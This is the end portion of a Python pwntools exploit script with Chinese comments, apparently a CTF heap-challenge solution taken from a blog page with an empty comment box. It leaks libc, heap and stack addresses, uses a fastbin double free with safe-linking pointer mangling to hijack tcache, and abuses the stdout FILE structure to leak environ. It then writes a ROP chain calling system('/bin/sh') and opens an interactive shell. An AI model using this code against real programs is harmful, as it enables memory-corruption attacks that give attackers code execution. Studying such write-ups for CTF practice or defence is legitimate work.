print(hex(libcbase))

#泄露heapbase
delete(0)
show(0)
p.recvuntil("Content:")
heapbase = u64(p.recv(5).ljust(0x8,b"\x00")) * 0x1000 - 0x2000
print(hex(heapbase))

#fastbin double free
for i in range(6):
    delete(i+1)
delete(7)
delete(8)
delete(7)
for i in range(7):
    add(i,b"a"*0x8)
environ = libcbase+libc.sym['environ']
stdout = libcbase+libc.sym['_IO_2_1_stdout_']
#ck7->ck8->ck7
add(7,p64((heapbase+0xf0) ^((heapbase+0x4e40)>>12)))
#ck8->ck7->heapbase+0xf0   
add(8,b"AAAAAA")
add(8,b"A")
#0xf0 tcache chunk被改为heapbase+0x10
add(8,p64(0)+p64(heapbase+0x10))

#msg是在堆上的,可以通过msg来给堆上数据赋值
#通过stdout泄露stack
payload=( (p16(0)*2+p16(1)+p16(1)).ljust(0x10,b"\x00")+p16(1)+p16(1) ).ljust(0x90,b'\x00')
payload+=p64(stdout)+p64(heapbase+0x9000)+p64(0)*5+p64(heapbase+0x10)
payload=payload.ljust(0xe0,b"\x00")
clean(payload)
clean(p64(0xFBAD1800)+p64(0)*3+p64(environ)+p64(environ+8))
stack = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x1a8 + 0x40
print(hex(stack))

#0xb0的tcache chunk一开始也是被写入heapbase+0x10  getshell
pop_rdi = libcbase+0x000000000002a3e5 
system = libc.sym['system'] + libcbase
binsh = libcbase+0x1D8678
ret = 0x000000000002a3e6 + libcbase
payload=((p16(0)*2+p16(0)+p16(0)+p16(1)).ljust(0x10,b"\x00")+p16(1)+p16(1)).ljust(0x90,b'\x00')
payload+=p64(0)+p64(0)+p64(stack)
payload=payload.ljust(0xa0,b"\x00")
clean(payload)
clean((p64(ret)*2+p64(pop_rdi)+p64(binsh)+p64(system)).ljust(0x58,b"\x00"))

p.interactive()
0 条评论
某人
表情
可输入 255